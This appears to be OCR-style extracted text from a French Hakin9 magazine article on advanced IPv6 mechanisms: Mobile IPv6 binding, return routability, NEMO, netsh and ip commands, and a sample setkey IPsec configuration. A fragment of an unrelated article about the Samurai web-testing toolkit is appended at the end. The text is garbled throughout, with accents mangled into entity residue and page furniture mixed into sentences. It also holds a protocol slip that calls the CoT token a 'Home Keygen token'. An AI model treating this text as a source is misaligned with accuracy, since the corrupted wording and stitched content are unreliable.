bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 35: hakin9_05_2010_FR

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

